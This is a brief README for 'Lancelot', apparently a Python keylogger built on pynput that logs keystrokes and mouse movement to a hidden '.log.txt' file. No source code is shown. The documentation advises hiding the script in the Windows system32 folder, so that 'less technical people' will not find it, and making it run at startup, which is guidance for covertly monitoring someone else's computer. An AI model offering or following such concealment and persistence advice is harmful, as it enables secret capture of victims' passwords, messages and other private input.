Lancelot

A keylogger that tracks movement of mouse and keystrokes!

Requirements

Python
pynput
pip

Documentation:

Not a lot, but the output will be stored in the .log.txt (it will autmoatically create one if it has yet to exist) file which by default on most unix filesystems go hidden.
If you wanna hide this in windows, you could probably see success in hiding this in the system32 file since most less technical people would refuse to go there. And they probably would not go there. You get this script to run at startup and you should be fine.
Helpful material